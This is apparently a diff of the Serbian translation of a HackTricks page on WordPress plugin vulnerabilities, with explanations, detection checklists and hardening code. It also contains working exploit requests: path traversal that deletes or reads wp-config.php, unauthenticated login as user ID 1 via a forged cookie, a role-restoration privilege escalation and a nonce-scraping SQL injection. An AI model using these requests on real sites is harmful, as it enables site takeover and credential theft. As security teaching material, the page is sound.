add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
-Problemi koje uvodi ovaj isječak:
+Problemi koje uvodi ovaj fragment koda:
-* **Unauthenticated access** – `wp_ajax_nopriv_` hook je registrovan.
-* **No nonce / capability check** – svaki posetilac može pozvati endpoint.
-* **No path sanitisation** – korisnički kontrolisana `fontfamily` string se konkatenira u filesystem path bez filtriranja, što omogućava klasični `../../` traversal.
+* **Neautentifikovan pristup** – hook `wp_ajax_nopriv_` je registrovan.
+* **Nema provere nonce / capability** – bilo koji posetilac može pozvati endpoint.
+* **Nema sanitizacije putanje** – korisnički kontrolisana `fontfamily` string je konkatenirana u fajl-sistemski put bez filtracije, omogućavajući klasičan `../../` traversal.
#### Eksploatacija
@@ -457,15 +457,15 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
-Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
+Pošto se `wp-config.php` nalazi izvan *uploads*, četiri `../` sekvence su dovoljne na podrazumevanoj instalaciji. Brisanje `wp-config.php` primorava WordPress da pri sledećem posetu uđe u *installation wizard*, omogućavajući potpuno preuzimanje sajta (napadač samo dostavlja novu DB konfiguraciju i kreira admin nalog).
-Drugi značajni ciljevi uključuju `.php` fajlove plugin-ova/tema (npr. za onesposobljavanje bezbednosnih dodataka) ili `.htaccess` pravila.
+Drugi značajni ciljevi uključuju plugin/theme `.php` fajlove (npr. da se onesposobe security plugins) ili `.htaccess` pravila.
#### Kontrolna lista za detekciju
-* Bilo koji `add_action( 'wp_ajax_nopriv_...')` callback koji poziva filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
-* Konkatenacija nesanitizovanog korisničkog unosa u putanjama (potražite `$_POST`, `$_GET`, `$_REQUEST`).
-* Odsustvo `check_ajax_referer()` i `current_user_can()`/`is_user_logged_in()`.
+* Bilo koji `add_action( 'wp_ajax_nopriv_...')` callback koji poziva funkcije za rad sa fajl sistemom (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
+* Konkatenacija nesanitizovanih korisničkih ulaza u putanjama (potražite `$_POST`, `$_GET`, `$_REQUEST`).
+* Nedostatak `check_ajax_referer()` i `current_user_can()`/`is_user_logged_in()`.
#### Ojačavanje
```php
@@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
-> **Uvek** tretirajte svaku operaciju upisa/brisanja na disku kao privilegovanu i dvaput proverite:
+> **Uvek** tretirajte svaku operaciju pisanja/brisanja na disku kao privilegovanu i dvaput proverite:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
-### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
+### Eskalacija privilegija putem obnavljanja zastarelih uloga i nedostatka autorizacije (ASE "View Admin as Role")
-Mnogi plugin-i implementiraju "view as role" ili funkciju privremenog menjanja uloga tako što originalne uloge čuvaju u user meta kako bi ih kasnije vratili. Ako put vraćanja zavisi samo od parametara zahteva (npr. `$_REQUEST['reset-for']`) i liste koju održava plugin, bez provere capabilities i validnog nonce-a, to postaje vertical privilege escalation.
+Mnogi pluginovi implementiraju funkciju "view as role" ili privremenog prebacivanja uloge tako što čuvaju originalne uloge u user meta kako bi ih kasnije mogli vratiti. Ako put za vraćanje zavisi samo od parametara zahteva (e.g., `$_REQUEST['reset-for']`) i liste koju održava plugin, bez provere capabilities i validnog nonce-a, to postaje vertikalna eskalacija privilegija.
-Primer iz stvarnog sveta pronađen je u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Reset grana je vraćala uloge na osnovu `reset-for=` ako je korisničko ime bilo prisutno u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce-a pre nego što ukloni trenutne uloge i ponovo doda sačuvane uloge iz user meta `_asenha_view_admin_as_original_roles`:
+Primer iz stvarnog sveta pronađen je u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Grana za resetovanje vraćala je uloge na osnovu `reset-for=` ako je korisničko ime bilo u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce-a pre uklanjanja trenutnih uloga i ponovnog dodavanja sačuvanih uloga iz user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@@ -511,17 +511,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
-Zašto je iskorišćivo
+Zašto se može iskoristiti
-- Veruje `$_REQUEST['reset-for']` i opciji plugina bez autorizacije na strani servera.
-- Ako je korisnik ranije imao veće privilegije sačuvane u `_asenha_view_admin_as_original_roles` i kasnije mu je smanjena privilegija, može ih vratiti pristupanjem reset putanji.
-- U nekim implementacijama, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (neispravna autorizacija).
+- Veruje `$_REQUEST['reset-for']` i opciji plugina bez autorizacije na serverskoj strani.
+- Ako je korisnik prethodno imao više privilegija sačuvanih u `_asenha_view_admin_as_original_roles` i bio je degradiran, može ih vratiti pristupanjem reset putanji.
+- U nekim deployment-ima, bilo koji autentifikovani korisnik mogao je pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (neispravna autorizacija).
Preduslovi napada
-- Ranjiva verzija plugina sa omogućenom funkcijom.
-- Ciljni nalog ima zastarelu ulogu visokih privilegija sačuvanu u user meta od ranije upotrebe.
-- Bilo koja autentifikovana sesija; nedostatak nonce/capability u toku reset toka.
+- Ranjiva verzija plugina sa uključenom funkcionalnošću.
+- Ciljni nalog ima u user meta sačuvanu zastarelu ulogu visokih privilegija iz ranije upotrebe.
+- Bilo koja autentifikovana sesija; nedostaje nonce/capability u reset toku.
Eksploatacija (primer)
```bash
@@ -531,57 +531,106 @@ Eksploatacija (primer)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for='
```
-Na ranjivim izdanjima ovo uklanja trenutne role i ponovo dodaje sačuvane originalne role (npr. `administrator`), čime se efikasno eskaliraju privilegije.
+Na ranjivim build-ovima ovo uklanja trenutne uloge i ponovo dodaje sačuvane originalne uloge (npr. `administrator`), efektivno eskalirajući privilegije.
Detection checklist
-- Potražite funkcije za prebacivanje rola koje čuvaju “originalne role” u user meta (npr. `_asenha_view_admin_as_original_roles`).
-- Identifikujte reset/restore putanje koje:
+- Tražite funkcije za menjanje uloga koje čuvaju “original roles” u user meta (npr. `_asenha_view_admin_as_original_roles`).
+- Identifikujte putanje za reset/restore koje:
- Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`.
-- Modifikuju role pomoću `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
-- Autorisuju se na osnovu plugin option niza (npr. `viewing_admin_as_role_are`) umesto na osnovu actor’s capabilities.
+- Menjaju uloge pomoću `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
+- Autorizuju na osnovu niza opcija plugina (npr. `viewing_admin_as_role_are`) umesto na osnovu capabilities aktera.
Hardening
-- Sprovodite provere capabilities na svakom ogranku koji menja stanje (npr. `current_user_can('manage_options')` ili strožije).
-- Zahtevajte nonces za sve izmene rola/dozvola i verifikujte ih: `check_admin_referer()` / `wp_verify_nonce()`.
-- Nikada ne verujte korisničkim imenima iz zahteva; odredite ciljnu korisnika na serverskoj strani na osnovu autentifikovanog izvršioca i eksplicitne politike.
-- Onemogućite stanje “originalne role” pri ažuriranju profila/rola kako biste izbegli vraćanje zastarelih visokoprivilegovanih podataka:
+- Sprovodite provere capabilities na svakom ogranku koji menja stanje (npr. `current_user_can('manage_options')` ili strože).
+- Zahtevajte nonces za sve mutacije uloga/permisa i verifikujte ih: `check_admin_referer()` / `wp_verify_nonce()`.
+- Nikada ne verujte korisničkim imenima iz zahteva; odredite ciljnog korisnika na serverskoj strani na osnovu autentifikovanog aktera i jasne politike.
+- Invalidirajte stanje “original roles” prilikom ažuriranja profila/uloga kako biste izbegli vraćanje zastarelih visokoprivilegovanih uloga:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
-- Razmislite o čuvanju minimalnog stanja i korišćenju time-limited, capability-guarded tokens za privremene promene uloga.
+- Razmotrite skladištenje minimalnog stanja i korišćenje vremenski ograničenih tokena zaštićenih capability-jem za privremene promene uloga.
---
+### Nepotvrđena eskalacija privilegija putem cookie‑pouzdanog prebacivanja korisnika na javnom init (Service Finder “sf-booking”)
+
+Neki pluginovi povezuju pomoćnike za prebacivanje korisnika na javni `init` hook i određuju identitet iz kolačića koji kontroliše klijent. Ako kod pozove `wp_set_auth_cookie()` bez provere autentikacije, capability-ja i važećeg nonce-a, bilo koji neautentifikovani posetilac može prisiliti prijavu kao proizvoljan ID korisnika.
+
+Tipičan ranjiv obrazac (pojednostavljeno iz Service Finder Bookings ≤ 6.1):
+```php
+function service_finder_submit_user_form(){
+if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
+$user_id = intval( sanitize_text_field($_GET['switch_user']) );
+service_finder_switch_user($user_id);
+}
+if ( isset($_GET['switch_back']) ) {
+service_finder_switch_back();
+}
+}
+add_action('init', 'service_finder_submit_user_form');
+
+function service_finder_switch_back() {
+if ( isset($_COOKIE['original_user_id']) ) {
+$uid = intval($_COOKIE['original_user_id']);
+if ( get_userdata($uid) ) {
+wp_set_current_user($uid);
+wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
+do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
+setcookie('original_user_id', '', time() - 3600, '/');
+wp_redirect( admin_url('admin.php?page=candidates') );
+exit;
+}
+wp_die('Original user not found.');
+}
+wp_die('No original user found to switch back to.');
+}
+```
+Zašto je eksploatabilno
+
+- Javni `init` hook чини handler доступним неаутентификованим корисницима (нема `is_user_logged_in()` заштите).
+- Идентитет се изводи из клијентски изменљивог cookie-ja (`original_user_id`).
+- Директан позив `wp_set_auth_cookie($uid)` пријављује подносиоца захтева као тог корисника без било каквих capability/nonce провера.
+
+Експлоатација (без аутентификације)
+```http
+GET /?switch_back=1 HTTP/1.1
+Host: victim.example
+Cookie: original_user_id=1
+User-Agent: PoC
+Connection: close
+```
+---
+
### WAF considerations for WordPress/plugin CVEs
-Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge visokog uticaja WordPress/plugin ranjivosti su greške u logici/auth specifične za aplikaciju koje izgledaju kao benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugina.
+Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge ranjivosti visokog uticaja u WordPress/plugin su specifične za aplikaciju — greške u logici/autorizaciji koje liče na benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugin‑ova.
Offensive notes
-- Ciljajte plugin-specific endpoints sa čistim payload-ovima: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes.
-- Najpre testirajte neautentifikovane putanje (AJAX `nopriv`, REST sa permisivnim `permission_callback`, public shortcodes). Default payloads često uspevaju bez obfuscation.
-- Tipični visokog uticaja slučajevi: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
+- Ciljajte krajnje tačke specifične za plugin sa čistim payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes.
+- Prvo testirajte neautentifikovane putanje (AJAX `nopriv`, REST sa permisivnim `permission_callback`, public shortcodes). Default payloads često uspevaju bez obfuscation.
+- Tipični slučajevi visokog uticaja: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
-- Ne oslanjajte se na generičke WAF signatures da zaštite plugin CVEs. Implementirajte application-layer, vulnerability-specific virtual patches ili ažurirajte brzo.
-- Preferirajte positive-security provere u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera.
+- Ne oslanjajte se na generičke WAF potpise za zaštitu plugin CVEs. Implementirajte zakrpe na nivou aplikacije specifične za ranjivost (virtual patches) ili brzo ažurirajte.
+- Preferirajte pozitivne sigurnosne provere u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera.
## WordPress Protection
### Regular Updates
-Proverite da su WordPress, plugins, i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
+Proverite da li su WordPress, plugins i themes ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
-Takođe, **instalirajte samo pouzdane WordPress plugins i teme**.
+Takođe, **instalirajte samo pouzdane WordPress pluginove i teme**.
### Security Plugins
@@ -589,18 +638,18 @@ Takođe, **instalirajte samo pouzdane WordPress plugins i teme**.
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
-### **Other Recommendations**
+### **Ostale preporuke**
- Uklonite podrazumevanog **admin** korisnika
- Koristite **jake lozinke** i **2FA**
-- Povremeno **pregledajte** korisničke **dozvole**
-- **Ograničite broj pokušaja prijave** da biste sprečili Brute Force napade
-- Preimenujte fajl **`wp-admin.php`** i dozvolite pristup samo interno ili sa određenih IP adresa.
+- Periodično **pregledajte** **dozvole** korisnika
+- **Ograničite pokušaje prijave** kako biste sprečili Brute Force napade
+- Preimenujte **`wp-admin.php`** fajl i dozvolite pristup samo interno ili sa određenih IP adresa.
-### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
+### Neautentifikovana SQL Injection usled nedovoljne validacije (WP Job Portal <= 2.3.2)
-WP Job Portal plugin za zapošljavanje je izložio zadatak **savecategory** koji na kraju izvršava sledeći ranjiv kod unutar `modules/category/model.php::validateFormData()`:
+WP Job Portal recruitment plugin je izložio zadatak **savecategory** koji na kraju izvršava sledeći ranjivi kod u `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@@ -612,17 +661,17 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
```
Issues introduced by this snippet:
-1. **Neadekvatno očišćen korisnički unos** – `parentid` dolazi direktno iz HTTP zahteva.
-2. **Konkatenacija stringova unutar WHERE klauzule** – nema `is_numeric()` / `esc_sql()` / prepared statement.
-3. **Neautentifikovana dostupnost** – iako se akcija se izvršava preko `admin-post.php`, jedina provera koja postoji je **CSRF nonce** (`wp_verify_nonce()`), koju bilo koji posetilac može preuzeti sa javne stranice koja u sebi sadrži shortcode `[wpjobportal_my_resumes]`.
+1. **Nesanitizovan korisnički unos** – `parentid` dolazi direktno iz HTTP zahteva.
+2. **Spajanje stringova unutar WHERE klauzule** – nema `is_numeric()` / `esc_sql()` / prepared statement.
+3. **Dostupno bez autentifikacije** – iako se akcija izvršava preko `admin-post.php`, jedina provera je **CSRF nonce** (`wp_verify_nonce()`), koji bilo koji posetilac može dohvatiti sa javne stranice koja ubacuje shortcode `[wpjobportal_my_resumes]`.
#### Eksploatacija
-1. Preuzmite svež nonce:
+1. Uzmite novi nonce:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
-2. Injektujte proizvoljni SQL zloupotrebom `parentid`:
+2. Injektujte proizvoljan SQL zloupotrebom `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@@ -630,20 +679,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
-Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, što dokazuje SQLi.
+Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, dokazujući SQLi.
-### Neautentifikovano preuzimanje proizvoljnih fajlova / Path Traversal (WP Job Portal <= 2.3.2)
+### Neautentifikovano preuzimanje proizvoljnog fajla / Path Traversal (WP Job Portal <= 2.3.2)
-Drugi zadatak, **downloadcustomfile**, omogućavao je posetiocima da preuzmu **bilo koji fajl na disku** putem path traversal-a. Ranljivi sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`:
+Još jedan zadatak, **downloadcustomfile**, dozvoljavao je posetiocima da preuzmu **bilo koji fajl na disku** putem Path Traversal-a. Ranjiva sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
-`$file_name` je pod kontrolom napadača i konkatenira se **bez sanitizacije**. Opet, jedino ograničenje je **CSRF nonce** koji se može dohvatiti sa stranice za rezime.
+`$file_name` je pod kontrolom napadača i konkateniran **bez sanitizacije**. Ponovo, jedina barijera je **CSRF nonce** koji se može dobiti sa stranice rezimea.
-#### Eksploatacija
+#### Exploitation
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
@@ -652,7 +701,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
-Server vraća sadržaj datoteke `wp-config.php`, leaking DB credentials i auth keys.
+Server vraća sadržaj `wp-config.php`, leaking DB credentials i auth keys.
## References
@@ -663,5 +712,7 @@ Server vraća sadržaj datoteke `wp-config.php`, leaking DB credentials i auth k
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
+- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
+- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
{{#include ../../banners/hacktricks-training.md}}